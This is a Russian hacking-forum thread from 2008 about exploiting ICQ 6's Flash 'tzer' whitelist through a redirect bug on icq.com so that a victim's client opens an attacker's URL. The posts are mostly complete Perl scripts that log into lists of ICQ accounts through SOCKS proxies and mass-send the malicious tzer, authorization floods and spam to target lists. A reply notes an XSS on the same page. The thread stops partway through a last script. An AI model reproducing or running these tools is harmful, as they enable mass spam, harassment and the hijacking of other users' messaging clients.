Icq 5/6 open url exploit

Discussion in 'Skype, IRC, ICQ, Jabber и другие IM' started by %00, 19 Jul 2008.

  1. %00

    %00 Member

    Joined:
    6 May 2008
    Messages:
    2
    Likes Received:
    28
    Reputations:
    5
    Icq 5/6 open url exploit​

    Сегодня поизвращаемся над icq 6... :)
    идем в директорию с icq6 ICQ6\ConfigFiles\tzer.xml и так что мы видим?
    Code:
    <whitelist>
    <u>www.icq.com</u>
    <u>xtraz.icq.com</u>
    <u>c.icq.com</u>
    </whitelist>
    я предположил что если залить на один из этих сайтов свою swf то она без проблем откроеться...
    добавил в файл hosts
    Code:
    127.0.0.1 c.icq.com
    залил на на локалхост swf'ky и послал себе в icq6 tzer
    Code:
    <tzer id="ID" name="hello" url="http://127.0.0.1/1.swf" preview="0" freeData="preview=0;uin=$uin"/>"
    swf'ka открылась...с сайтов не включенных в белый лист не открывалась...
    очевидно было, что нужно либо закачать swf например в greetings, либо подключить файл через какую-нибудь багу... например через эту
    Code:
    https://www.icq.com/xtraz2/products/coreg/php/check_lsp_details.php?url=http://url/1.swf
    (http://forum.antichat.ru/showthread.php?p=719835)
    После чего я взял флудер C!klodoL'a доработал его и сделал сплоит...
    умеет:
    -работать с socks
    -отправлять по списку
    -запрашивать авторизаию
    и тд
    Скрипт очень касячный... Писал на скороую руку для себя, есть версия написанная с нуля и не искользующая паблик баг с подкл файла...(если найдете много багов в этой версии выложу другую)
    HTML:
    ##!/usr/bin/perl
    #use warnings;
    use strict;
    use threads;
    use threads::shared;
    use Socket;
    use IO::Socket;
    use Time::HiRes qw(gettimeofday tv_interval); 
    
    system("cls");
    system("color 02");
    print "\n\n\n\n\n\n\n";
    print "\t\t\t_|                  _|        \n";
    print "\t\t\t    _|_|_|  _|_|    _|  _|    \n";
    print "\t\t\t_|  _|    _|    _|  _|_|      \n";
    print "\t\t\t_|  _|    _|    _|  _|  _|    \n";
    print "\t\t\t_|  _|    _|    _|  _|    _|  \n";
    sleep(3);
    system("cls");
    my $ttz : shared;
    $ttz=0;
    my $ta: shared;
    $ta=0;
    my $stt;
    my $authtext="auth";
    my $tzer="<tzer id=\"ID\" name=\"hello\" url=\"https://www.icq.com/xtraz2/products/coreg/php/check_lsp_details.php?url=http://ya.ru/moogaloop.swf\" preview=\"0\" freeData=\"preview=0;uin=$stt\"/>";
    my ($host,$port) = ('login.icq.com', 5190);
    my @uins : shared;
    open(FILE, '<C:\uins.txt') or die("\nuins.txt - error");
    @uins = <FILE>;
    close(FILE);
    my @sendto : shared;
    open(FILE, '<C:\sendto.txt') or die("\nsendto.txt - error");
    @sendto = <FILE>;
    close(FILE);
    my @proxy : shared;
    open(FH, '<C:\proxy.txt') or die("\nproxy.txt - error"); #IP:PORT
    @proxy = <FH>;
    close(FH);
    chomp(@proxy);
    chomp(@sendto);
    chomp(@uins);
    my $threads = 10; #количество потоков = количеству асек в файле 
    if ($threads>scalar(@sendto)) {$threads=scalar(@sendto);}
    my @thread;
    for(1..$threads) { $thread[$_] = threads->create(\&flood); sleep 3 }
    for(1..$threads) { $thread[$_]->join; }
    
    sub flood {
    open( my $fh, '>>C:\log.txt');
    my @tmass;
    my $tmp=0;
        my ($uin,$password) = split(/;/,shift(@uins));
        my $SNAC = "\x00\x00\x00\x01\x00\x01".int2bytes(length($uin)).$uin.
        "\x00\x02".int2bytes(length($password)).
        substr($password^"\xF3\x26\x81\xC4\x39\x86\xDB\x92\x71\xA3\xB9\xE6\x53\x7A\x95\x7C",0,length($password)).
        "\x00\x03\x00\x08\x49\x43\x51\x42\x61\x73\x69\x63\x00\x16\x00\x02\x01\x0A\x00".
        "\x17\x00\x02\x00\x14\x00\x18\x00\x02\x00\x22\x00\x19\x00\x02\x00\x00\x00\x1A".
        "\x00\x02\x09\x11\x00\x14\x00\x04\x00\x00\x04\x3D\x00\x0F\x00\x02\x65\x6E\x00".
        "\x0E\x00\x02\x75\x73";
        my $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));
        my $prx = shift(@proxy);
    my $sock = IO::Socket::INET->new($prx) or die("\nErr: $!\n");
    my $buf;
    my $response;
    $sock->send(pack("C3", 0x05, 0x01, 0x00));
    $sock->recv($buf, 2);
    
    #print join(" ", unpack("C2", $buf)), "\n";
    $buf = pack("C4", 0x05, 0x01, 0x00, 0x01);
    $buf .= inet_aton($host);
    $buf .= pack("n", $port);
    #$buf .= 0x00;
    $sock->send($buf);
    $sock->recv($buf, 10);
    #print join(" ", unpack("C4", $buf)), "\n";
    my @a = unpack("C4", $buf);
    die("SOCKS error: $a[1]") if $a[1];
    #print join(".", unpack("C4", substr($buf, 4, 4))), "\n";
    #print join("", unpack("n2", substr($buf, 8))), "\n";
        $sock->recv($buf, 10);
        $sock->send($FLAP.$SNAC);
        $sock->recv($response,65535);
        close($sock);
    	  if($response=~/MISMATCH_PASSWD/) { return }
        my ($BOS_Host, $BOS_Port, $Cookie);
        if(($BOS_Host, $BOS_Port) = $response =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(\d{1,5})/o) {
            $Cookie = parsCookie($response);
            print $fh "\n[+] $uin reconnect to: $BOS_Host:$BOS_Port"
        } else { return }
        $SNAC = "\x00\x00\x00\x01\x00\x06\x01\x00".$Cookie;
        $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));
    
    $sock = IO::Socket::INET->new($prx) or die("\nErr: $!\n");
    $sock->send(pack("C3", 0x05, 0x01, 0x00));
    $sock->recv($buf, 2);
    
    #print join(" ", unpack("C2", $buf)), "\n";
    $buf = pack("C4", 0x05, 0x01, 0x00, 0x01);
    $buf .= inet_aton($BOS_Host);
    $buf .= pack("n", $BOS_Port);
    #$buf .= 0x00;
    $sock->send($buf);
    $sock->recv($buf, 10);
    #print join(" ", unpack("C4", $buf)), "\n";
    @a = unpack("C4", $buf);
    die("SOCKS error: $a[1]") if $a[1];
    #print join(".", unpack("C4", substr($buf, 4, 4))), "\n";
    #print join("", unpack("n2", substr($buf, 8))), "\n";
    $sock->recv($buf, 10);
        $sock->send($FLAP.$SNAC);
        $sock->recv($response,65535);
    
    
    
    
        $SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x01\x00\x03\x01\x10\x02\x8A\x00\x02".
        "\x00\x01\x01\x10\x02\x8A\x00\x03\x00\x01\x01\x10\x02\x8A\x00\x15".
        "\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10\x02\x8A\x00\x06".
        "\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10\x02\x8A\x00\x0A".
        "\x00\x01\x01\x10\x02\x8A";
        $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));
    
        $sock->send($FLAP.$SNAC);
    
    	
    my $t0 = [gettimeofday];	
    while(my $targetUin=shift(@sendto)) {
    if (tv_interval($t0)<60*3 && $targetUin) {
    $SNAC ="\x00\x13\x00\x18\x00\x00\x00\x00\x00\x18".pack('h',length($targetUin)).$targetUin."\x00".pack('h',length($authtext)).$authtext."\x00\x00";
    $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));
    $sock->send($FLAP.$SNAC,0);
    #$socket->recv($response,65535);
    sleep 2+int(rand(5));
    $tmass[$tmp]=$targetUin;
    $tmp=$tmp+1;
    $ta=$ta+1;
    print $fh "\nsend auth to $targetUin";
    system("cls");
    print "\n\n\n\n\n\n\n";
    print "\t\t\t_|                  _|        \n";
    print "\t\t\t    _|_|_|  _|_|    _|  _|    \n";
    print "\t\t\t_|  _|    _|    _|  _|_|      \n";
    print "\t\t\t_|  _|    _|    _|  _|  _|    \n";
    print "\t\t\t_|  _|    _|    _|  _|    _|  \n";
    print "\n\n\n\n\t\t\tsend auth $ta   send exploit $ttz\n";
    } else {while($stt=shift(@tmass)) {
    sleep(60);
    my $core_len = 11 + 52 + length($tzer);
    $SNAC = pack('nnnNdnca*', 4, 6, 0, 1, $Cookie, 2, length($stt), $stt)."\x00\x05"."\x01\x4D\x00\x00\x88\xB8\x39\x95\x0C\x00\xDC\x3F\x09\x46\x13\x49\x4C\x7F\x11\xD1\x82\x22\x44\x45\x53\x54\x00\x00\x00\x0A\x00\x02\x00\x01\x00\x0F\x00\x00".pack('nnvv', 10001, ($core_len+51), 27, 8)."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x04\x18\x00\x0E\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1A\x00\x00\x00\x01\x00\x01\x00\x00\x32\x00\x4F\xA6\xF3\x4C\x09\xB7\xFD\x48\x92\x08\x7E\x85\x7A\xE0\x73\x30\x00\x00\x0D\x00\x00\x00\x54\x2D\x5A\x65\x72\x20\x4D\x65\x73\x73\x61\x67\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".pack('VVa*', (length($tzer)+4), length($tzer), $tzer)."\x00\x03\x00\x00";
    $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));
    $sock->send($FLAP.$SNAC,0);
    $t0 = [gettimeofday];
    $ttz=$ttz+1;
    print $fh "\nsend exploit to $stt";
    system("cls");
    print "\n\n\n\n\n\n\n";
    print "\t\t\t_|                  _|        \n";
    print "\t\t\t    _|_|_|  _|_|    _|  _|    \n";
    print "\t\t\t_|  _|    _|    _|  _|_|      \n";
    print "\t\t\t_|  _|    _|    _|  _|  _|    \n";
    print "\t\t\t_|  _|    _|    _|  _|    _|  \n";
    print "\n\n\n\n\t\t\tsend auth $ta   send exploit $ttz\n";
    }
    }
    }
    if (@tmass) {sleep(60);}
    while ($stt=shift(@tmass)) {
    my $core_len = 11 + 52 + length($tzer);
    my $sss="\x00\x00\x88\xB8\x39\x95\x0C\x00\xDC\x3F\x09\x46\x13\x49\x4C\x7F\x11\xD1\x82\x22\x44\x45\x53\x54\x00\x00\x00\x0A\x00\x02\x00\x01\x00\x0F\x00\x00".pack('nnvv', 10001, ($core_len+51), 27, 8)."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x04\x18\x00\x0E\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1A\x00\x00\x00\x01\x00\x01\x00\x00\x32\x00\x4F\xA6\xF3\x4C\x09\xB7\xFD\x48\x92\x08\x7E\x85\x7A\xE0\x73\x30\x00\x00\x0D\x00\x00\x00\x54\x2D\x5A\x65\x72\x20\x4D\x65\x73\x73\x61\x67\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".pack('VVa*', (length($tzer)+4), length($tzer), $tzer);
    $SNAC = pack('nnnNdnca*', 4, 6, 0, 1, $Cookie, 2, length($stt), $stt).pack('nna*', 5, length($sss), $sss)."\x00\x03\x00\x00";
    $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));
    $sock->send($FLAP.$SNAC,0);
    $ttz=$ttz+1;
    print $fh "\nsend exploit to $stt";
    system("cls");
    print "\n\n\n\n\n\n\n";
    print "\t\t\t_|                  _|        \n";
    print "\t\t\t    _|_|_|  _|_|    _|  _|    \n";
    print "\t\t\t_|  _|    _|    _|  _|_|      \n";
    print "\t\t\t_|  _|    _|    _|  _|  _|    \n";
    print "\t\t\t_|  _|    _|    _|  _|    _|  \n";
    print "\n\n\n\n\t\t\tsend auth $ta   send exploit $ttz\n";
    }
    close $fh;
    }
    
    sub int2bytes { return pack('n',shift) }
    
    sub parsCookie {
        my $cookie = shift;
        my $i++;
        for(;;$i++) { last if substr($cookie,$i,4) eq "\x00\x06\x01\x00" }
        return substr($cookie,4+$i,256)
    }
    
    BEGIN {
        my $seqNum = int(rand(65535));
        sub seqNum {
            $seqNum++;
            $seqNum = 0 if $seqNum > 65535;
            return int2bytes($seqNum)
        }
    }
    
    изменяем "Ваш урл" на url с swf
    Code:
    <tzer id=\"ID\" name=\"hello\" url=\"https://www.icq.com/xtraz2/products/coreg/php/check_lsp_details.php?url=http://Ваш урл/1.swf\" preview=\"0\" freeData=\"preview=0;uin=$stt\"/>
    чтобы открыть url у пользователя icq6 в fla файле должно быть
    HTML:
    getURL("http://xxx/", "_blank");
    затем скомпилируйте и разместите по адресу "Ваш урл"
    запрещено распостронение за приделы forum.antichat.ru
    В ближайшие время постораюсь выложить спамер icq, и флудер авторизацией на основе флудера C!klodoL'a
    1.fla и sploit.pl доступны по адресу
    http://ifolder.ru/7400251
     
    #1 %00, 19 Jul 2008
    Last edited: 20 Jul 2008
    6 people like this.
  2. %00

    %00 Member

    Joined:
    6 May 2008
    Messages:
    2
    Likes Received:
    28
    Reputations:
    5
    Вот на скорую руку еще было набросанно
    -флудер авторизацией
    HTML:
    ##!/usr/bin/perl
    #use warnings;
    use strict;
    use threads;
    use threads::shared;
    use Socket;
    use IO::Socket;
    system("cls");
    system("color 02");
    print "\n\n\n\n\n\n\n";
    print "\t\t\t_|                  _|        \n";
    print "\t\t\t    _|_|_|  _|_|    _|  _|    \n";
    print "\t\t\t_|  _|    _|    _|  _|_|      \n";
    print "\t\t\t_|  _|    _|    _|  _|  _|    \n";
    print "\t\t\t_|  _|    _|    _|  _|    _|  \n";
    sleep(3);
    system("cls");
    my $ta: shared;
    $ta=0;
    my $stt;
    my $targetUin=""; #kyga
    my $authtext="auth";#4em
    my ($host,$port) = ('login.icq.com', 5190);
    my @uins : shared;
    open(FILE, '<C:\uins.txt') or die("\nuins.txt - error");
    @uins = <FILE>;
    close(FILE);
    my @proxy : shared;
    open(FH, '<C:\proxy.txt') or die("\nproxy.txt - error"); #IP:PORT
    @proxy = <FH>;
    close(FH);
    chomp(@proxy);
    chomp(@uins);
    my $threads = 500; #количество потоков = количеству асек в файле 
    my @thread;
    for(1..$threads) { $thread[$_] = threads->create(\&flood); sleep 3 }
    for(1..$threads) { $thread[$_]->join; }
    
    sub flood {
    open( my $fh, '>>C:\log.txt');
    my @tmass;
    my $tmp=0;
        my ($uin,$password) = split(/;/,shift(@uins));
        my $SNAC = "\x00\x00\x00\x01\x00\x01".int2bytes(length($uin)).$uin.
        "\x00\x02".int2bytes(length($password)).
        substr($password^"\xF3\x26\x81\xC4\x39\x86\xDB\x92\x71\xA3\xB9\xE6\x53\x7A\x95\x7C",0,length($password)).
        "\x00\x03\x00\x08\x49\x43\x51\x42\x61\x73\x69\x63\x00\x16\x00\x02\x01\x0A\x00".
        "\x17\x00\x02\x00\x14\x00\x18\x00\x02\x00\x22\x00\x19\x00\x02\x00\x00\x00\x1A".
        "\x00\x02\x09\x11\x00\x14\x00\x04\x00\x00\x04\x3D\x00\x0F\x00\x02\x65\x6E\x00".
        "\x0E\x00\x02\x75\x73";
        my $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));
        my $prx = shift(@proxy);
    my $sock = IO::Socket::INET->new($prx) or die("\nErr: $!\n");
    my $buf;
    my $response;
    $sock->send(pack("C3", 0x05, 0x01, 0x00));
    $sock->recv($buf, 2);
    
    #print join(" ", unpack("C2", $buf)), "\n";
    $buf = pack("C4", 0x05, 0x01, 0x00, 0x01);
    $buf .= inet_aton($host);
    $buf .= pack("n", $port);
    #$buf .= 0x00;
    $sock->send($buf);
    $sock->recv($buf, 10);
    #print join(" ", unpack("C4", $buf)), "\n";
    my @a = unpack("C4", $buf);
    die("SOCKS error: $a[1]") if $a[1];
    #print join(".", unpack("C4", substr($buf, 4, 4))), "\n";
    #print join("", unpack("n2", substr($buf, 8))), "\n";
        $sock->recv($buf, 10);
        $sock->send($FLAP.$SNAC);
        $sock->recv($response,65535);
        close($sock);
    	  if($response=~/MISMATCH_PASSWD/) { return }
        my ($BOS_Host, $BOS_Port, $Cookie);
        if(($BOS_Host, $BOS_Port) = $response =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(\d{1,5})/o) {
            $Cookie = parsCookie($response);
            print $fh "\n[+] $uin reconnect to: $BOS_Host:$BOS_Port"
        } else { return }
        $SNAC = "\x00\x00\x00\x01\x00\x06\x01\x00".$Cookie;
        $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));
    
    $sock = IO::Socket::INET->new($prx) or die("\nErr: $!\n");
    $sock->send(pack("C3", 0x05, 0x01, 0x00));
    $sock->recv($buf, 2);
    
    #print join(" ", unpack("C2", $buf)), "\n";
    $buf = pack("C4", 0x05, 0x01, 0x00, 0x01);
    $buf .= inet_aton($BOS_Host);
    $buf .= pack("n", $BOS_Port);
    #$buf .= 0x00;
    $sock->send($buf);
    $sock->recv($buf, 10);
    #print join(" ", unpack("C4", $buf)), "\n";
    @a = unpack("C4", $buf);
    die("SOCKS error: $a[1]") if $a[1];
    #print join(".", unpack("C4", substr($buf, 4, 4))), "\n";
    #print join("", unpack("n2", substr($buf, 8))), "\n";
    $sock->recv($buf, 10);
        $sock->send($FLAP.$SNAC);
        $sock->recv($response,65535);
    
    
    
    
        $SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x01\x00\x03\x01\x10\x02\x8A\x00\x02".
        "\x00\x01\x01\x10\x02\x8A\x00\x03\x00\x01\x01\x10\x02\x8A\x00\x15".
        "\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10\x02\x8A\x00\x06".
        "\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10\x02\x8A\x00\x0A".
        "\x00\x01\x01\x10\x02\x8A";
        $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));
    
        $sock->send($FLAP.$SNAC);
    
    	
    	
    while($targetUin) {
    $SNAC ="\x00\x13\x00\x18\x00\x00\x00\x00\x00\x18".pack('h',length($targetUin)).$targetUin."\x00".pack('h',length($authtext)).$authtext."\x00\x00";
    $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));
    $sock->send($FLAP.$SNAC,0);
    $ta=$ta+1;
    print "send auth $ta\n";
    sleep 2+int(rand(5));
    }
    close $fh;
    }
    
    sub int2bytes { return pack('n',shift) }
    
    sub parsCookie {
        my $cookie = shift;
        my $i++;
        for(;;$i++) { last if substr($cookie,$i,4) eq "\x00\x06\x01\x00" }
        return substr($cookie,4+$i,256)
    }
    
    BEGIN {
        my $seqNum = int(rand(65535));
        sub seqNum {
            $seqNum++;
            $seqNum = 0 if $seqNum > 65535;
            return int2bytes($seqNum)
        }
    }
    -спамер icq
    HTML:
    ##!/usr/bin/perl
    #use warnings;
    use strict;
    use threads;
    use threads::shared;
    use Socket;
    use IO::Socket;
    system("cls");
    system("color 02");
    print "\n\n\n\n\n\n\n";
    print "\t\t\t_|                  _|        \n";
    print "\t\t\t    _|_|_|  _|_|    _|  _|    \n";
    print "\t\t\t_|  _|    _|    _|  _|_|      \n";
    print "\t\t\t_|  _|    _|    _|  _|  _|    \n";
    print "\t\t\t_|  _|    _|    _|  _|    _|  \n";
    sleep(3);
    system("cls");
    my $ta: shared;
    $ta=0;
    my $message="spam";
    my ($host,$port) = ('login.icq.com', 5190);
    my @uins : shared;
    open(FILE, '<C:\uins.txt') or die("\nuins.txt - error");
    @uins = <FILE>;
    close(FILE);
    my @sendto : shared;
    open(FILE, '<C:\sendto.txt') or die("\nsendto.txt - error");
    @sendto = <FILE>;
    close(FILE);
    my @proxy : shared;
    open(FH, '<C:\proxy.txt') or die("\nproxy.txt - error"); #IP:PORT
    @proxy = <FH>;
    close(FH);
    chomp(@proxy);
    chomp(@sendto);
    chomp(@uins);
    my $threads = 500; #количество потоков = количеству асек в файле 
    if ($threads>scalar(@sendto)) {$threads=scalar(@sendto);}
    my @thread;
    for(1..$threads) { $thread[$_] = threads->create(\&flood); sleep 3 }
    for(1..$threads) { $thread[$_]->join; }
    
    sub flood {
    open( my $fh, '>>C:\log.txt');
    my @tmass;
    my $tmp=0;
        my ($uin,$password) = split(/;/,shift(@uins));
        my $SNAC = "\x00\x00\x00\x01\x00\x01".int2bytes(length($uin)).$uin.
        "\x00\x02".int2bytes(length($password)).
        substr($password^"\xF3\x26\x81\xC4\x39\x86\xDB\x92\x71\xA3\xB9\xE6\x53\x7A\x95\x7C",0,length($password)).
        "\x00\x03\x00\x08\x49\x43\x51\x42\x61\x73\x69\x63\x00\x16\x00\x02\x01\x0A\x00".
        "\x17\x00\x02\x00\x14\x00\x18\x00\x02\x00\x22\x00\x19\x00\x02\x00\x00\x00\x1A".
        "\x00\x02\x09\x11\x00\x14\x00\x04\x00\x00\x04\x3D\x00\x0F\x00\x02\x65\x6E\x00".
        "\x0E\x00\x02\x75\x73";
        my $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));
        my $prx = shift(@proxy);
    my $sock = IO::Socket::INET->new($prx) or die("\nErr: $!\n");
    my $buf;
    my $response;
    $sock->send(pack("C3", 0x05, 0x01, 0x00));
    $sock->recv($buf, 2);
    
    #print join(" ", unpack("C2", $buf)), "\n";
    $buf = pack("C4", 0x05, 0x01, 0x00, 0x01);
    $buf .= inet_aton($host);
    $buf .= pack("n", $port);
    #$buf .= 0x00;
    $sock->send($buf);
    $sock->recv($buf, 10);
    #print join(" ", unpack("C4", $buf)), "\n";
    my @a = unpack("C4", $buf);
    die("SOCKS error: $a[1]") if $a[1];
    #print join(".", unpack("C4", substr($buf, 4, 4))), "\n";
    #print join("", unpack("n2", substr($buf, 8))), "\n";
        $sock->recv($buf, 10);
        $sock->send($FLAP.$SNAC);
        $sock->recv($response,65535);
        close($sock);
    	  if($response=~/MISMATCH_PASSWD/) { return }
        my ($BOS_Host, $BOS_Port, $Cookie);
        if(($BOS_Host, $BOS_Port) = $response =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(\d{1,5})/o) {
            $Cookie = parsCookie($response);
            print $fh "\n[+] $uin reconnect to: $BOS_Host:$BOS_Port"
        } else { return }
        $SNAC = "\x00\x00\x00\x01\x00\x06\x01\x00".$Cookie;
        $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));
    
    $sock = IO::Socket::INET->new($prx) or die("\nErr: $!\n");
    $sock->send(pack("C3", 0x05, 0x01, 0x00));
    $sock->recv($buf, 2);
    
    #print join(" ", unpack("C2", $buf)), "\n";
    $buf = pack("C4", 0x05, 0x01, 0x00, 0x01);
    $buf .= inet_aton($BOS_Host);
    $buf .= pack("n", $BOS_Port);
    #$buf .= 0x00;
    $sock->send($buf);
    $sock->recv($buf, 10);
    #print join(" ", unpack("C4", $buf)), "\n";
    @a = unpack("C4", $buf);
    die("SOCKS error: $a[1]") if $a[1];
    #print join(".", unpack("C4", substr($buf, 4, 4))), "\n";
    #print join("", unpack("n2", substr($buf, 8))), "\n";
    $sock->recv($buf, 10);
        $sock->send($FLAP.$SNAC);
        $sock->recv($response,65535);
    
    
    
    
        $SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x01\x00\x03\x01\x10\x02\x8A\x00\x02".
        "\x00\x01\x01\x10\x02\x8A\x00\x03\x00\x01\x01\x10\x02\x8A\x00\x15".
        "\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10\x02\x8A\x00\x06".
        "\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10\x02\x8A\x00\x0A".
        "\x00\x01\x01\x10\x02\x8A";
        $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));
    
        $sock->send($FLAP.$SNAC);
    
    	
    	
    while(my $targetUin=shift(@sendto)) {
    $SNAC = "\x00\x04\x00\x06\x00\x00\x00\x00\x00\x02\x1D\x91\xEF\x52\xEA\x92\xD3\x3F\x00\x02".
            pack('h',length($targetUin)).$targetUin."\x00\x05".int2bytes(length($message)+102).
            "\x00\x00".
            "\x1D\x91\xEF\x52\xEA\x92\xD3\x3F\x09\x46\x13\x49\x4C\x7F\x11\xD1\x82\x22\x44\x45\x53\x54\x00\x00".
            "\x00\x0A\x00\x02\x00\x01\x00\x0F".
            "\x00\x00\x27\x11". #хз
            int2bytes(length($message)+62). #61 + длина текста
            "\x1B\x00\x08".("\x00"x19).
            "\x03\x00\x00\x00".
            "\x00\x02\x00\x0E\x00\x02".("\x00"x13).
            "\x01\x00\x00\x00\x00".
            "\x01".pack('v',length("$message\0")).$message."\x00\x00\x00\x00\x00\xFF\xFF\xFF\x00";
    		$FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));
    $sock->send($FLAP.$SNAC,0);
    $ta=$ta+1;
    sleep 2+int(rand(5));
    print "send message $ta to $targetUin\n";
    }
    close $fh;
    }
    
    sub int2bytes { return pack('n',shift) }
    
    sub parsCookie {
        my $cookie = shift;
        my $i++;
        for(;;$i++) { last if substr($cookie,$i,4) eq "\x00\x06\x01\x00" }
        return substr($cookie,4+$i,256)
    }
    
    BEGIN {
        my $seqNum = int(rand(65535));
        sub seqNum {
            $seqNum++;
            $seqNum = 0 if $seqNum > 65535;
            return int2bytes($seqNum)
        }
    }
    Code:
    http://dump.ru/file_catalog/954684
    все на скрипте C!klodoL'a
    Об ошибках в скриптах в пм.
     
    #2 %00, 19 Jul 2008
    Last edited: 21 Jul 2008
    1 person likes this.
  3. Redyps

    Redyps Banned

    Joined:
    17 Jul 2008
    Messages:
    11
    Likes Received:
    10
    Reputations:
    5
    хм, там значит впринципе есть xss, может конечно баян но я не видел
    https://www.icq.com/xtraz2/products/coreg/php/check_lsp_details.php?url=http://omfg0o.narod.ru/icq.txt
    Вообще интересно, автор молодец
     
    2 people like this.
  4. DimOnOID

    DimOnOID Banned

    Joined:
    5 Dec 2006
    Messages:
    407
    Likes Received:
    126
    Reputations:
    4
    Можешь без прокси сделать?(я про флудер)..а то нормальных нету..и пишет типо
    Code:
    thread failed to start:
    Err: Invalid argument
    
     
  5. %00

    %00 Member

    Joined:
    6 May 2008
    Messages:
    2
    Likes Received:
    28
    Reputations:
    5
    не советую юзать без socks'ов...
     
    2 people like this.
  6. %00

    %00 Member

    Joined:
    6 May 2008
    Messages:
    2
    Likes Received:
    28
    Reputations:
    5
    HTML:
    #!/usr/bin/perl
    use warnings;
    use strict;
    use threads;
    use threads::shared;
    use Socket;
    
    my $targetUin = 393571111;  #кого
    my $authtext="auth";#4em
    my $ta: shared;
    $ta=0;
    my ($host,$port) = ('login.icq.com', 5190);
    print "\n$0 (c)oded by C!klodoL\n";
    my @uins : shared;
    open(FILE, '<C:\uins.txt');
    @uins = <FILE>;
    close(FILE);
    chomp(@uins);
    my $threads = 20; #количество потоков = количеству асек в файле
    my @thread;
    for(1..$threads) { $thread[$_] = threads->create(\&flood); sleep 3 }
    for(1..$threads) { $thread[$_]->join; }
    
    sub flood {
        my ($uin,$password) = split(/;/,shift(@uins));
        my $SNAC = "\x00\x00\x00\x01\x00\x01".int2bytes(length($uin)).$uin.
        "\x00\x02".int2bytes(length($password)).
        substr($password^"\xF3\x26\x81\xC4\x39\x86\xDB\x92\x71\xA3\xB9\xE6\x53\x7A\x95\x7C",0,length($password)).
        "\x00\x03\x00\x08\x49\x43\x51\x42\x61\x73\x69\x63\x00\x16\x00\x02\x01\x0A\x00".
        "\x17\x00\x02\x00\x14\x00\x18\x00\x02\x00\x22\x00\x19\x00\x02\x00\x00\x00\x1A".
        "\x00\x02\x09\x11\x00\x14\x00\x04\x00\x00\x04\x3D\x00\x0F\x00\x02\x65\x6E\x00".
        "\x0E\x00\x02\x75\x73";
        my $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));
        socket(SOCKET,AF_INET,SOCK_STREAM,getprotobyname('tcp'));
        connect(SOCKET,sockaddr_in($port,inet_aton($host)));
        my $response;
        sysread(SOCKET,$response,10);
        syswrite(SOCKET,$FLAP.$SNAC);
        sysread(SOCKET,$response,65535);
        close(SOCKET);
    
        if($response=~/MISMATCH_PASSWD/) { return }
        my ($BOS_Host, $BOS_Port, $Cookie);
        if(($BOS_Host, $BOS_Port) = $response =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(\d{1,5})/o) {
            $Cookie = parsCookie($response);
            print "[+] $uin reconnect to: $BOS_Host:$BOS_Port\n"
        } else { return }
        $SNAC = "\x00\x00\x00\x01\x00\x06\x01\x00".$Cookie;
        $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));
    
        socket(SOCKET,AF_INET,SOCK_STREAM,getprotobyname('tcp'));
        connect(SOCKET,sockaddr_in($BOS_Port,inet_aton($BOS_Host)));
        sysread(SOCKET,$response,10);
        syswrite(SOCKET,$FLAP.$SNAC);
        sysread(SOCKET,$response,65535);
    
        $SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x01\x00\x03\x01\x10\x02\x8A\x00\x02".
        "\x00\x01\x01\x10\x02\x8A\x00\x03\x00\x01\x01\x10\x02\x8A\x00\x15".
        "\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10\x02\x8A\x00\x06".
        "\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10\x02\x8A\x00\x0A".
        "\x00\x01\x01\x10\x02\x8A";
        $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));
    
        syswrite(SOCKET,$FLAP.$SNAC);
    
        for(;;) {
    $SNAC ="\x00\x13\x00\x18\x00\x00\x00\x00\x00\x18".pack('h',length($targetUin)).$targetUin."\x00".pack('h',length($authtext)).$authtext."\x00\x00";
    $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));
            syswrite(SOCKET,$FLAP.$SNAC);
    		$ta=$ta+1;
    		print "send message # $ta\n";
            sleep 2+int(rand(3));
    		
        }
    
    }
    
    sub int2bytes { return pack('n',shift) } #пакуем в 16битное целое
    
    sub parsCookie { #парсер куки
        my $cookie = shift;
        my $i++;
